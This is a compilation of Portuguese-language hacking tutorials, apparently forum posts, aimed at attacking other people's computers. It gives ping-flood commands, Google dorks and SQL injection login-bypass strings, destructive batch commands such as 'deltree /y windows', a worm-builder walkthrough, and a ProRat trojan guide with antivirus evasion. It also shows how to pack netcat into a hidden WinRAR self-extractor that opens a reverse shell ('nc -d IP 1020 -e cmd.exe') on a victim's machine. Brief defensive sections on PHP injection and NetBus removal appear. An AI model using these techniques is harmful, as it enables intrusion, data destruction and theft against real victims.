Derrubando Conexoes

Tem comando no MS-DOS para Derrubar ou melhor dizendo deixar os PC’s tão Cheios de Pacotes de Protocolos que eles se Desconectam
O comando é Ping, exemplos:

c\windows>ping -t IP
ou
c\windows>ping -f IP

Acompanhe:

c:\windows>ping -t- -f- IP \

Exemplos:

c\windows>ping -t-11000 -f- IP
ou
c\windows>ping -f-11000 -t- IP

Bom, como podem ver precisa do IP (O Tutorial que ensina como Requerir um IP se encontra nesta mesma Comunidade postada por mim) e uma Conexão mais Rápida da pessoa que vc quer atacar e, pode ser feito por varios amigos em outros PCs (Chamado Ataque em Massa) pode até tirar Sites do AR… Ao mesmo tempo vc pode abrir até 6 (seis) janelas do DOS com ping -t-11000 -f- IP e ping -f- -t- IP.

SQL Injection

Bom galera vou explicar SQL injection - método de inserção de strings no banco de dados do servidor - podendo assim liberar os cookies e conseqüentemente a permissão de administrador.

Bem devido a alguns erros em banco de dados dos servidores é possível, ainda hoje, encontrar esse tipo de vulnerabilidade.

SQL Injection vem de injeção de SQL através de strings em campos de login ou senha, depedendo da página vulnerável. Um aliado para descobrir sites com essa vulnerabilidade é o famoso Google que permite pesquisar por páginas visadas a campos de logins

isso nao significa que essas paginas já estejam vulneraveis ok.

para pesquisarmos no google precisamo de um comando chamado allinurl.esse comando procura especificadamente aquilo que se vem depois dos dois pontos

exemplo:

allinurl:/site/admin/

com esse codigo ele caçará paginas com campos de logins de adiministraçoes.abaixo uma lista com algums codigos para vc pesquisar no google.

allinurl:/webadmin/default.asp

allinurl:/menu_admin/default.asp

allinurl:/menu_admin/index.asp

allinurl:/menu_admin/login.asp

allinurl:/noticias/admin/

allinurl:/news/admin/

allinurl:/cadastro/admin/

allinurl:/portal/admin/
allinurl:/site/admin/

allinurl:/home/admin.asp

allinurl:/home/admin/index.asp

allinurl:/home/admin/default.asp

allinurl:/home/admin/login.asp

allinurl:/web/admin/index.asp

pegue uma das strings acima e pesquise a vontade:

após isso saira uma lista de sites com paginas com campos de logins e senhasate ai tudo bem agora vamos escaniialos usando um scanner como acutinexdepois de scanniado e acuzando a suposta vulnerabilidade de sql injection
é só testarmos strings nos campos de loginsda pagina afetada.

a mesma string usada no login deve ser usada no campo de senha ok.abaixo uma lista de strings:

b’ or ‘ 1=’
‘ or ‘1
‘ or ‘
‘ or ‘a’='a
‘ or ”=’
‘ or 1=1–
‘) or (’a'=’a
‘ or ‘1′=’1
admin ‘ - -
‘ ou 0=0 –
“ou 0=0 –
ou 0=0 –
‘ ou 0=0 #
“ou 0=0 #
ou 0=0 #
‘ ou ‘ x’='x
“ou” x”=”x
‘) ou (’ x’='x
‘ ou 1=1 –
“ou 1=1 –
ou 1=1 –
‘ ou a=a –
“ou” a”=”a
‘) ou (’ a’='a
“) ou (”a”=”a
hi “ou” a”=”a
hi “ou 1=1 –
hi ‘ ou 1=1 –
hi ‘ ou ‘ a’='a
hi ‘) ou (’ a’='a
hi”) ou (”a”=”a
‘ or ‘x’='x

Invasao por FTP

2 modos de Invasao por FTP

Abra o MS-DOS e digite (cada linha aperte enter)
ftp
open
ira aparecer "para" ou "to" (digite o site ex:ftp.microsoft.com, ftp. ufla.br)
usuario:(enter)
quote user ftp
quote cwd~root
quote pass ftp
dir
ira aparecer as pastas ai você ve o que ira fazer depois, para sair digite quit.
(Não fique mais de 5 minutos mais eu recomendo 4)

====================================================

Ou

Vai em Iniciar>Executar>(digite cmd)>Aparecer o pront do ms-dos.

Digite telnet Ip da vitima + a porta que vc quer invadir

tipo
telnet ip da vitima 21

Pronto agora da ENTER

Depois q fez isso ai vc navega na máquina da sua vitima de acordo com os comandos .

OBS: Pra isso a vitima tenque estar com a porta Telnet aberta !
Caso ela nao esteja com a Telnet aberta , vc pode fazer uma conexão reversa com ela (vitima) , sendo assim fica mt mais facil.

Tutorial by: Renan

Quebrando A Criptografia de Uma Rede Wireless

Direto ao assunto, segue o tutorial muito bão e completo, e alguns programas necessarios.

Tutorial

airsnort

netstumbler

ethereal

aircrack

Agora aqui vai uma dica interessante, é o WirelessKeyView, esse programa Consegue recupear a senha dos seguintes tipos de rede WEP, WPA .

veja aqui


Tutorial by: GallO

Se protegendo de PHP Injection

Bloquear php injection

Bem pessoal nessa minah primeira coluna vou ensinar como se protejer de php injection, muitos amigos sempre me perguntam como fazer isso, vamos lá

Codigo
====================================================

//Pega os dados passados pela URL
$pagina=$_GET["pagina"];

//Verifica se a string passada possui algum trecho invalido
//Caso tenha mostra uma mensagem de erro
if(eregi("httpwwwftp.dat.txt.gifwget", $pagina))
{
echo "Ops! Problemas na página!";
//Se a variavel passada estiver dentro das normas, executa o else abaixo:
}else{
if(!empty($pagina)) {
@include ("$pagina.php");
}else{ @include ("capa.php"); //essa seria a sua página principal
}
}
?>
=====================================================

Vamos entender o código
!Ele não deixa que ninguém tente colocar urls e outros tipos de códigos em sua query string !

Por exemplo, seu site funciona da seguinte maneira:index.php?pagina=contato
assim funciona beleza

E se o cidadão tentar fazer isso:index.php?pagina=http://www.sitedovirus.com&cmd=comando malicioso

aí o script bloqueia

!Faça isso e fique livre de ataques crackers em seu site !

Tutorial Badcom

Introdução:

Badcom's são pequenos arquivos (.COM) que quando executados, eles realizam tarefas em um determinado computador... ou seja, são programas que fazem com que um PC realize comandos quanto do DOS quanto do Windows. Para isto você deve fazer um arquivo de LOTE com os comandos e compila-lo O Mais famoso compilador de arquivos de LOTE (.BAT) é o BAT2EXEC.COM.

Comandos Básicos

@ECHO OFF

Comando para não ser mostrados as linhas de comando em uma janela do MS-DOS, Exemplo: Colocando o comando DIR em um Badcom sem o @ECHO OFF no prompt ele mostrará o comando escrito na janela.. C:\DIR Com o comando @ECHO OFF, ele simplesmente elimina os dígitos dos comandos a serem mostrados.

CLS

Comando do MS-DOS, para limpar a tela.

ECHO

Para desativar o comando @ECHO OFF, e mostrar caracteres em uma janela Exemplo: ECHO "Mensagem" Irá mostrar a mensagem na janela, após isso automaticamente retorna a não aparição de comandos na Janela. Criando arquivos com o comando ECHO: Para criar um arquivo com este comando, é necessário o comando , exemplo: ECHO Nomedoarquivo.extensão Irá criar o arquivo no ambiente do MS-DOS... Para criar arquivos com textos ou comandos, é necessário fazer o seguinte comando: ECHO ARQ.EXT "Comando ou mensagem" OBS: As aspas são apenas para indicação porém em comandos não funcionam as aspas. Ex: ECHO Eu.BAT DIR Irá criar um arquivo chamado Eu.BAT (Arquivo de Lote) Com o comando DIR dentro do mesmo.

ATTRIB

Este comando permite que você esconda um determinado arquivo, torne-o somente para leitura, ou torne arquivo do sistema. Para obter os comandos simplesmente digite na janela do MS-DOS: ATTRIB /?


MD

Para Criar diretórios Ex: MD NOMEDODIR

RD

Comando para desfazer diretórios vazios. EX: RD 'NOME DA PASTA VAZIA'

PROGRAMAS!!!

Não é um comando.. heheh... é que nos Badcom's são muito útil o uso de programas comuns, como os padrões do Windows 95. Exemplo: O Programa Notepad.exe do Windows 95, para ele ser executado, A partir de um Badcom, você deve colocá-lo na linha de comando..

NOTEPAD.EXE.
Para executar o programa a partir de um Badcom... no BAT coloque da seguinte forma: @echo off cls notepad.exe <--- Não é necessário colocar o Path do Windows 95, pois Sendo executado durante o Windows, não acontecerá erros de não achar o programa.. Se quiser abrir textos com o tal programa ! notepad.exe arquivo.txt Você pode fazer isto com outros programas como o Pbrush.exe ( Paint ), Sol.exe ( Paciência ). Desde que estes programas instalados.

DEL ou DELETE
Para apagar arquivos, no Badcom é usado da seguinte maneira, Para deletar arquivos sem ter problemas de BUG, é necessário fazer com que o comando não tenha a opção (*.*), pois surgirá um prompt de confirmação de exclusão. Digite então da seguinte maneira: DEL *.Extensão, exemplo.. para apagar os arquivos .INI do diretório do Windows: del Drive:\windir\*.ini ou use: drive: cd\ cd windir del *.ini DELTREE Muitos não tem conhecimento do que este comando pode causar em um sistema, pois é usado da maneira básica... Este "pode ser" o mais perigoso comando contido em um Badcom. Uso com BUG:

DELTREE DIRETORIO
Com este comando, aparecerá a confirmação de exclusão do diretório, será muito difícil alguém responder SIM a pergunta não ??? Bem, vou informar o perigo deste comando... Há uma opção no DELTREE que evita a aparição do prompt de confirmação, sendo ela a mais destrutiva, deletando todos os arquivos de um dir. Bom, para usar o Deltree de forma destrutiva basta acrescentar a opção /Y no mesmo, Exemplo: C:\Deltree /y windows Excluindo windows...

REN
Rename é um comando que pode causar dor de cabeça ao usuário atacado.. ex: use o REN em diversos arquivos... REN command.com command.nad REN Autoexec.bat autoexec.non e assim vai...

PROMPT
Com este comando você pode trocar o C:\> do Ms-dos pelo que você quiser. Por exemplo: C:\> PROMPT teste:\> teste:\>

GOTO
Este comando faz com que o BAT pule ou volte para determinada parte do Programa. Exemplo: O uso do GOTO é muito usado se quiser que não pare de repetir determinado comando ... usando o comando CLS, veja:

@echo off

:INI <-- Indica a parte do programa onde vai ser voltado o comando Cls Usam-se dois ponto antes, outros exemplos são :START :COMEÇO GOTO INI <-- Aqui o comando GOTO, para voltar para o alvo indicado. CHOICE
Comando que possibilita um prompt, exemplo: CHOICE /c1234 Para números ou letras é necessário o uso do /c, sem este comando somente CHOICE, mostrará o prompt: [Y,n]? Com o /c e os números irá mostrar: [1,2,3,4]? Este comando precisa de um complemento, leia em: IF e Errorlevel

IF e ERRORLEVEL
Este é muito usado em Badcom's, ele possibilita o desenvolvimento de questões e prompts para o usuário. exemplo: este comando eu uso muito em pegadinhas e perguntas sacanas, cada vez que o usuário erra a pergunta alguns arquivos são apagados. Seguido também do comando CHOICE Segue a string.... @echo off cls echo Seu sistema paralisou, o que deseja fazer ? echo [1] Reiniciar echo [2] Desligar choice /c12 <-- Mostrará o prompt [1,2]? if errorlevel 2 goto DES <- aqui o comando if e errorlevel, sendo if errorlevel 1 goto REI se o usuário pressionar o 1, ele irá reiniciar o sistema Percebe-se que a posição das strings começa do 2 e depois vai para o 1. Qualquer dúvida nesta parte do badcom fale comigo! Estes são apenas comandos básicos para se aperfeiçoar nos Comandos do MS-dos você pode consultar o próprio HELP do Ms-dos, ele lhe dará varias informações, como no FORMAT e etc.. Com os badcom's você pode fazer muitas coisas até, destas que acabei de explicar, como por exemplo, mexer na memória do PC, e criar diretórios de impossível acesso para o Windows 95 ou 3.11. Como compilar um Badcom

Para compilar um Badcom ele deve estar nomeado para nomedoarq.BAT Use o programa BAT2EXEC.COM, o mais conhecido compilador BAT. Usando o Bat2exec.com após editar o Badcom em qualquer editor de textos.. (o Mais usado é o EDIT do Ms-dos, pois não ocorrem erros de caracteres no ambiente MS-DOS) use a sintaxe: bat2exec nomedoarq.bat apague o original ou renomeie, e execute o nomedoarq.COM para teste.. Claro que Badcom's somente para assustar. Tentem usar os Badcom's de forma inofensiva, evitando assim transtornos futuros.. Ahh, não vai testar em seu PC igual eu fiz no meu não.... tive que reinstalar o Windows novamente, hehe ! Teste na escola...

Tutorial Criando seu Worm

Olá pessoal, nesse tutorial eu vou mostrar como criar um worm.

Usarei o VBswg 2, que pode ser baixado aqui!

Após ter feito o download, abra o programa...Será exibido um janela, nela clique em IAGREE:

Logo em seguia aparecerá o Splash screen do programa e depois o programa:

Agora com o programa aberto vamos configurar nome do worm, para onde ele vai ser copiado, qual sera a extenção e etc...
• Em Worm name vc bota o nome do seu worm.
• Em You name vc pode botar seu nome, apelido ou outra coisa...
• Em File name vc repete o nome do seu worm.
• Em Copy worm to vc bota o diretório para onde seu worm será copiado.
• Por ultimo vc escolhe e extenção do seu worm, veja a imagem:

Agora clique no botão Startup.

Abrirá um janelinha, nessa janelinha marque a opção Start with windows e clique em Done. Isso serve para que seu worm se inicie junto com o windows

Agora, clique em no botão E-mail que está ao lado do botão Startup. Aqui o Worm envia um e-mail para todos os contatos da vítima infectada, então fica a seu gosto a mensagen.

Em seguida clique em Done

Agora clique em Irc que fica ao lado do botão E-mail, nessa janela configure como a imagem!

http://img511.imageshack.us/img511/4121/12ez2.png

Isso serve para infectar todos os arquivo do Mirc ( Se a vítima usar.) Clique em Done em seguida!

Clique agora em Infect quando a janelinha abrir, marque todas as opçoes e clique em Done. Essas opções servem para que quando o seu worm for executado, infecte todos os tipos de arquivos da vítima.


Clique agora em Payload, caso queira que o seu worm de uma mensagem, ou abra uma página na internet e etc... assim que for executado, marque a opção Use payload caso contrário clique em Done. Eu optei por exibir mensagem, abrir site e etc. Então vamos ver como fazer:

• Em Message vc bota a mensagem que será exibida assim que for executado.
• Em Tittle vc bota o título da sua mensagem.
• Em Picture vc bota o tipo de mensagem que será exibida.

Vamos à legenda da mensagem:

-» Critical - Exibe mensagem do Tipo Erro
-» Information - Exibe mensagem do tipo Informação
-» Question - Exibe mensagem do tipo Fazendo um pergunta
-» Alert - Exibe uma mensagem do tipo Alertendo

• Em Goto Url vc bota a página da web que será exibida assim que seu worm for executado.
• Em Shut down ele reinicia o PC assim que for executado.
• Em Random nem precisa mecher!
• Em Date é o dia que seu worm se manifestará

Agora clique em Extra e depois em Antideletion, será exibida uma janelinha, nela marque as 2 opções e clique em Done. Isso serve para que seu worm não seja deletado do PC da vítima.

Clique em Extra novamente e sem seguida clique em Encryption, quando a janela for exibida marque as opções Use encryption e Full code encryption em sequida clique em Done. Isso serve para encryptar seu worm.

Após ter clicado em Done clique em Generate

Após ter clicado em Generate, aparecerá a seguinte janela:

Então clique em I AGREE

Agora clique em Create:

Em seguida é só botar o nome do seu worm e salvar.

Após isso, será exibida a seguinte mensagem, de OK nela!

Tutorial Ping

É utilizado para testar uma conexão , sendo que este utilitário de diagnóstico utiliza-se das mensagens Echo Request e Echo Reply do protocolo ICMP para determinar se uma máquina está ligada e funcional . Ele opera enviando um ICMP (Control Message Protocol) , se o software de IP da máquina destino recbe-o ele emite uma resposta de echo imediatamente .

A sintaxe :

ping [-t] [-a] [-n x] [-l tamanho] [-f] [-i ttl] [-v tos] [-r count]
[-s count] [[-jhost_list] [-k host_list]] [-w timeout] destination_list

Por default o ping envia quatro pacotes de 64 bytes ICMP com uma pausa entre cada pacote .

T : Indica que o ping deve enviar pacotes continuamete até que se aperte Ctrl+c ;

A : É usado para solucionar o endereço IP para o hostname da DNS ;

N x : Indica que o ping deve enviar x pacotes ICMP . O Default é 4 ;

L tamanho : Indica a duração do pacote de ICMP . O conteúdo do pacote de ICMP é uma sucessão periódica de caracteres alfabéticos . O tamanho de pacote por default é 64 bytes e o máximo é 8192 , porém , redes Ethernet têm como máximo o tamanho de 1512 bytes ;

F : Fixa o flag de não-fragmentado no pacote . Se você usar o -l e indicar um pacote , este será devolvido com um erro . Você pode usar esta opção , junto com -l , para descobrir o maior pacote que você pode enviar de seu computador a um host remoto sem que seja fragmentado ;

I ttl : Fixa o time live (ttl) do campo dos pacotes . Ottl é o número máximo de “saltos” que pacote pode ter antes de ser descartado . Este número varia de 1 a 255 , sendo 30 o dafault ;

Tutorial Completo Pro Rat

Download:

http://www.prorat.net/downloads.php?id=ProRat_v1.9_Fix2
senha:pro

1°- abra o programa
http://img227.imageshack.us/img227/8770/imagen3ta.jpg

2°- Vá em Criar e selecione Criar server. Selecione as opções de icone, tipo de arquivo, qual arquivo juntar, senha de conecção (normalmente: 123456). e finalmente aperte criar. O servidor (trojan) será criado na pasta do prorat com o icone que você escolher e com o nome server.exe (ou ponto o tipo de arquivo que você escolher - .com, .bat, etc). Renomeie o server, e pronto está pronto para aprender.

http://img407.imageshack.us/img407/131/imagenn1fi.jpg
http://img433.imageshack.us/img433/201/imagennn5ew.jpg

Pegando( IP)
3°- Envie o arquivo por MSN para uma pessoa.

http://img403.imageshack.us/img403/9810/imagennnn5sh.jpg

4°
Enquanto o arquivo tiver sendo baxado vá no MSDOS (Caso seja WinXP vá em executar e digite cmd). No MSDOS digite netstat -n e precione enter (é importante que nenhum programa esteja aberto apenas a pessoa para quem o arquivo está sendo enviado). Aparecera uma lista de IPs. O IP da pessoa é o que começa com 200 ou 201 no lado direito.

http://img407.imageshack.us/img407/1248/imagennnnn5zi.jpg
http://img433.imageshack.us/img433/583/imagennnnnn8kh.jpg

OU

ipget 1.50
Downloads : http://rapidshare.com/files/61400418/IPGet_1.50.plsc.html

pega o ip pelo msn sem nenhum comando

No caso da foto marcado com um +.
5°-
Após pegar o IP e a pessoa ter entrado no programa entre no programa Pro Rat e digite o IP da pessoa aonde pede IP. Não modifique mais nada. Precione Conectar e aparecera uma telinha pedino senha. Se não tiver modificado a senha será 123456, aperte OK e pronto você está hackiando.

http://img407.imageshack.us/img407/7408/imagem7ti.jpg

OBS: você pode formatar, pegar senha, fazer downloads dos arquivos da pessoaa, deletar, entra no dos, mandar falsas mensagens, virar a tela da pessoa, até entrar em chat com a pessoa e muito mais. Aproveite!

Se depois de tuto isso ainda não entender!!!!!
Download tutorial (Configurando prorat)

http://www.4shared.com/file/18680586/6fe78986/Tutorial_ProRat_19.html

Agora vamos deixar o Prorat inndetectavel….
.
Bom para quem quer mandar o server para o cara que te enche o saco o dia inteiro, mas o Anti Virus dele pega, chegou a solução! Aqui irei usar como exemplo o ProRat, mas isso também serve para o Turkojan, é apenas criar o server e seguir a partir do 7º passo.

01º Passo:
Baixe o PE explorer, ProRat, e o Themida clicando Ano link abaixo:
Obs=no kit vai também o trojan Turkojan,

http://rapidshare.com/files/6786931/Kit.rar.html

02º Passo:
Abra o ProRat e clique em Criar servidor do Prorat (342 Kbayt)

03º Passo:
Clique em configurações, e depois coloque uma senha no servidor, que se você 0ainda não tiver configurado, será 123456.

04º Passo:
Clique em juntar com arquivo, caso você queira, pode juntar com uma música ou com qualquer outro arquivo, que aí enquanto que o trojan está sendo instalado, ele vai ouvir uma musiquinha, ou vai executar algum outro arquivo!

05º Passo:
Clique em extensões, agora você pode escolher qualquer uma das 5 extensões, só que apenas as extensões .exe e .scr têm suporte a ícone.

06º Passo:
Agora escolha o ícone (caso tenha escolhido a extensão .SCR ou .EXE) e clique em Criar servidor.

07º Passo:
Agora para deixar o server indetectavel, instale o PE explorer, e abra o arquivo Crack PE.exe, agora desative o quadradinho que está escrito Check File Size, clique em Patch, vá no diretório que você instalou o PE explorer e selecione o arquivo pexplorer.exe, aparecerá uma mensegem de OK e feche a janela do Crack PE.exe.

08º Passo:
Agora abra o PE pressione CTRL+O e selecione o server criado pelo ProRat, agora pressione CTRL+S e salve com o mesmo nome anterior, aparecerá uma janela falando se você deseja substituir o arquivo, clique em sim.

09º Passo:
Abra o Themida e selecione os dois Get From Version Info e clique na pastinha e selecione o server criado.

10º Passo:
Agora clique em Protect e depois, na nova janela em que apareceu clique em Protect novamente, depois feche o Themida.

11º Passo:
Escaneie o servidor com seu anti virús só para garantir que o anti virus dele não vai pegar. Caso pegue (praticamente impossivel) coloque junto um AVKiller.
Download av KILLER

http://rapidshare.com/files/445340/KILL.exe.html

Quick Batch File Compiler(programa usado n tutorial abaixo)

Download

http://www.download3000.com/download-count-reg-10591.html

Tutorial

http://br.geocities.com/crackerjusticeiro/camuflandotrojankeyloggertutorial/camuflando_trojans.htm

12º Passo:
Envie o server criado a pessoa que você quer hackear, caso o Messenger bloqueie, compacte ele.

13º Passo:
Enquanto a pessoa está baixando vá em Menu Iniciar>Executar e digite no espaço em branco CMD e clique em Ok.

14º Passo:
Dentro do CMD digite NETSTAT -N e pressione enter, provavelmente o IP do cara vai ser o penultimo da direita, e geralmente o IP começa com 200 ou 201.(está em vermelho para preservar informações)
Se mesmo assim vc não conseguir o IP configure seu homail p recebelo p e-mail…
Claro nesse caso vc terá que conhecer a vitima,p que ela mande um e-mail p vc..

Configurando o Hotmail

15º
1-Entre no seu e-mail, note que no canto superior direito tem um link configurações, entre nele
2-Após entrar em “configurações”,vá em correio
3-Em seguida clique em configurações de exibições de mensagens
4-Agora procure Cabeçalho de mensagens
5-Bote em Avançado e dê OK!
Pronto, seu e-mail está configurado para receber IPs!
Vá na mensagem que a vítima te mandou e procure originating ip:[ip da vitima]

16º Passo:
Coloque o IP do cara aonde está escrito IP: e pressione conectar

Tutorial Net Bus

1. Introdução Semelhante ao Back Orifice,
o NetBus é uma ferramenta que pode ser utilizada como um sistema de administração remota para os ambientes operacionais Windows 95, Windows 98 e Windows NT.

É composto por um programa que atua como Servidor e um programa que atua como Cliente, permitindo conexões remotas mesmo através da Internet, utilizando-se do protocolo TCP.

Por suas inúmeras características e facilidades, o NetBus passou a ser utilizado principalmente por hackers que pretendem manter controle sobre as máquinas de suas vitimas, sem serem notados/detectados.

2. Comprometimento

O Servidor NetBus é auto-instalável indicando que na primeirá execução a maquina passará a ser comprometida.

O NetBus permite um amplo controle sobre o Servidor, apresentando inúmeras características das quais se destacam:

- Auto-instalável
- Auto executável (com o boot do Windows)
- Permite iniciar/executar qualquer aplicativo
- Permite fechar/terminar qualquer aplicativo
- Permite rebootar o servidor
- Pode desconectar usuários
- Permite enviar caracteres para aplicativos ativos
- Permite capturar o que esta sendo digitado no computador servidor
- Permite capturar a tela (screenshot) do computador servidor
- Retorna informações gerais sobre o computador
- Permite realizar upload de arquivos para o servidor
- Permite realizar download e deleções de qualquer arquivo do servidor
- Permite capturar o som de microfones instalados no servidor
- Possui esquemas de proteção e validação de acessos através de senhas
- Não aparece na Task List do Windows

Além disso, o NetBus faz uso de senhas para permitir o controle de acessos ao Servidor NetBus. A string que contém a senha que o Cliente envia para o Servidor é semelhante à linha abaixo:

Password;0;my_password

No entanto, detectou-se a presença de um backdoor no NetBus que permite a qualquer Cliente estabelecer conexão com o Servidor sem a necessidade de se utilizar uma senha. O Cliente pode conectar-se sem autenticação bastando substituir o valor do segundo parâmetro da string de conexão acima de “0″ para “1″.

3. Detecção

Por default, o Servidor NetBus chama-se Patche.exe. No entanto pode perfeitamente ser renomeado para qualquer outro nome.

O NetBus utiliza TCP para estabelecer o envio/recebimento de pacotes e dados, permanecendo ativo nas portas 12345 e 12346 aguardando por conexões de clientes.

Como primeiro passo, é possível verificar se essas portas estão em uso por algum serviço. Para tanto utiliza-se o comando ‘netstat’ conforme exemplo abaixo:

c:\>netstat -an find “1234″
TCP 127.0.0.1:12345 0.0.0.0:0 LISTENING

Em seguida, é possível identificar que serviço esta ativo na porta apresentada pelo netstat. Para tanto utiliza-se o comando telnet, conforme exemplo abaixo:

c:\>telnet 127.0.0.1 12345

Se o NetBus estiver instalado e aguardando por conexões nesta porta, a seqüência abaixo irá aparecer na janela do telnet:

‘NetBus 1.53′

Ou:

‘NetBus 1.60′

Alem desse procedimento, é possível examinar o registro do Windows a procura de algumas chaves que podem ser criadas pelo programa quando de sua instalação. Execute o ‘regedit’ e faca uma busca pelas chaves abaixo:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run[Nome do NetBus] HKEY_CURRENT_USER\Patch\Settings\ServerPwd

A primeirá chave indica que o NetBus esta configurado para ser inicializado automaticamente a cada boot do sistema. Já a segunda chave indica qual a senha (em formato texto puro) que esta sendo utilizada para validar conexões.

4. Removendo o NetBus

Indica-se dois procedimentos básicos e simples para remoção do NetBus:

1) fazer uso de uma opção do Servidor NetBus que automaticamente deleta o executável, conforme exemplo abaixo:

c:\>nome_do_netbus_server.exe /remove

2) utilizar o Cliente do NetBus para fazer essa remoção. Basta conectar-se ao Servidor (podendo ser localhost), selecionar “Server admin” e em seguida “Remove server”.

No entanto, notamos que em alguns casos as duas opções falharam ao limpar o registro do Windows. Logo, indicamos que o processo de remoção seja feito manualmente deletando-se o executável e limpando-se o registro eliminando-se as chaves criadas pelo NetBus .

Tutorial Conexao Reversa

Com certeza uma das maiores dificuldades de se fazer um ataque por trojan, está na camuflagem do "bixo", pois os anti-vírus estão cada vez mais avançados, tornando a invasão por trojan algo muito difícil, pois para camuflar o mesmo teríamos que entender a fundo o a estrutura dos executáveis para windows, cabeçalhos PE, sem contar com programação em assembly para podermos editar o trojan usando um editores hexadecimais e debuggers, para deixá-lo invisível aos olhos do ainti-vírus, é claro que há exceções que você poderá editar apenas usando um explorador de PE como o ResourceHacker. Então, se você conhece todos os assuntos citados anteriormente, OK você com certeza poderá fazer com que seu trojan passe despercebido pelo anti-vírus, mas... e o Firewall? Qual será o truque para burla-lo? Bom, acho que já está na hora de te apresentar uma técnica de criação de trojan que faz o mesmo passar despercebido diante destes dois sistemas de proteção, esta técnica consiste em compactar o executável do NetCat (nc.exe) usando o WinRar e usando as opções de SFX do mesmo nos permitirá criar um trojan que faça conexão reversa, indetectável tanto aos olhos do anti-vírus como do firewall, Por que? Isso vou te explicar no decorrer deste artigo, Seja bem vindo!

O que é Conexão Reversa?
A conexão reversa é um tipo de invasão parecida com uma invasão por trojan, só que ao invés de o hacker se conectar ao alvo, como é feito tipicamente usando trojans, o alvo é quem se conecta ao hacker, dando-lhe total acesso a máquina invadida e fazendo com que bloqueios como firewalls sejam facilmente burlados e também é muito útil quando se quer invadir um computador que esteja na rede interna, já que a vítima é quem se conecta ao invasor.

Sobre o NetCat
O NetCat que é considerado pelos hackers o canivete suíço do TCP/IP, devido a sua incrível flexibilidade, com o NC(NetCat), podemos fazer desde uma simples conexão a um host até um brute force por wordlist, para quebrar senhas de um determinado serviço.
Você pode baixar o NetCat para Windows Clicando aqui.

A maioria das distros linux já vem com essa ferramenta pré-instalada, mas caso não venha você poderá baixa-lá Clicando aqui.


Sobre o WinRar
WinRAR parece nome de super-herói mas é o nome da versão para Windows do compactador de arquivos RAR.
O WinRar para Windows em Português do brasil pode ser baixado Clicando aqui.


Por que indetectável?
Primeiro vou explicar por que o trojan criado usando esta técnica é indetectável pelo o anti-vírus depois explico porque o mesmo é indetectável pelo firewall.

Anti-vírus:
Simples, nenhum anti-vírus, (pelo menos os do meu conhecimento) julgam o NetCat e o WinRar como programas nocivos. Por isso quando um anti-vírus faz uma varredura em um trojan feito usando esta técnica, ele só vai encontrar um executável criado pelo WinRar com o NetCat dentro dele compactado, e não vai emitir avisos pois trata-se de um programa inócuo (aos olhos do anti-vírus).

Firewall:
Como este trojan vai usar conexão reversa, nós não vamos ter que nos preocupar com firewalls porque a maioria dos firewall bloqueiam programas que queiram abrir portas, não os que simplesmente querem se conectar a uma determinada porta que já esteja aberta. Resumindo: Os firewalls se preocupam mais em proteger de fora pra dentro do que de dentro pra fora. Não entendeu? Então eu te explico melhor: Se você instala um trojan convencional que tente abrir uma porta na máquina da vítima para que o hacker se conecte, o firewall com certeza vai te bloquear, mas se você envia um trojan que vá se conectar a uma porta já aberta no seu computador (neste caso você é o invasor), dificilmente o firewall vai te bloquear.


Mãos a Obra!
Agora que já conhecemos estas duas magníficas ferramentas, vamos ao que realmente interessa, vamos iniciar a criação do nosso trojan, então siga o passo-a-passo abaixo, mas "use com moderação" Wink

Após baixar e descompactar o NetCat, abra a pasta onde você descompactou os arquivos do NetCat e compacte apenas o arquivo nc.exe usando o WinRar.

1. Abra o Arquivo compactado, clicando duas vezes sobre o mesmo e em seguida clique no botão SFX, e logo após em "Opções Avançadas de SFX".


Agora em Caminho para extração, informe o diretório onde você quer que o arquivo seja extraído, nos meus testes eu coloquei c:\windows\system32. No grupo Configurações do Programa e no campo Executar após a extração informe os seguintes parâmetros:

nc -d 192.168.28.2 1020 -e cmd.exe - isso fará com que o assim que executado o trojan se conecte a você.

Onde o IP (192.168.28.2) deverá ser substituído pelo seu, já que é a vítima que vai se conectar a você, e você também poderá substituir a porta (que está logo após o IP) por outra de sua preferência.

Agora clique na Aba Métodos

No Grupo de opções Método de espera, marque a opção Ocultar tudo, esta opção serve para que o NetCat seja executado em segundo plano, para que o alvo não perceba que está rodando um programa malicioso no seu computador. Logo em seguida no grupo de opções Métodos de Substituição, marque a opção Ignorar arquivos existentes para que o WinRar não nos dedure.

Clique na Aba Texto e ícone e escolha um ícone para o executável do seu trojan, clicando em Procurar.

Finalmente clique em OK nas duas janelas abertas e em seguida feixe o WinRar e Pronto! O seu trojan indetectável já está pronto, agora no seu computador vamos configurar o NetCat para que ele fique escutando em uma determinada porta (nos meus testes ou configurei a porta 1020). Veja abaixo como fazer isto:

Copei o arquivo nc.exe para a pasta c:\windows\system32
Vá no menu Iniciar >> Executar >> Digite "cmd" (sem as aspas)
E agora vamos deixar o NetCat na escuta na porta 1020 (lembre-se que tem que ser a que você configurou quando criava o trojan). No prompt de comando digite:


nc -l -n -p 2525 -vv

Em seguida ele ficará assim:


C:\Documents and Settings\Alison Robson\Desktop\nc111nt>nc -l -n -p 1020 -vv
listening on any 1020 ...

O NetCat já está na escuta, apenas esperando pela conexão do seu alvo. Agora só te resta enviar o trojan para o seu alvo por eMail, Chat, etc, como se fosse algo inofensivo e esperar que ele o execute, pois no mesmo instante em que o trojan é executado ele se conectará instantaneamente a você te dando de presente um belo Shell, como o da representação abaixo:


C:\Documents and Settings\Alison Robson\Desktop\nc111nt>nc -l -n -p 1020 -vv
listening on any 1020 ...
connect to [192.168.25.8] from (UNKNOWN) [127.0.0.1] 5402
Microsoft Windows XP versão 5.1.2600
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>_

Pronto! Agora você já tem acesso total a máquina do seu alvo!!!

Bom, eu fico por aqui, espero que tenham gostado deste artigo (mas acho que pelo menos serviu pra você vê que não é tão complicado fazer um trojan indetectável), caso tenha ficado alguma dúvida o nosso fórum está ai para lhe servir da melhor maneira possível, também gostaria que vocês comentassem os meus artigos pois procuro cada vez mais me aperfeiçoar, para postar um melhor conteúdo para vocês, e os seus comentários seriam uma bela de uma ajuda. Até a próxima!

Tutorial Netcat

http://www.forcehacker.com/tutorial/nc.htm


Creditos: 2Hacker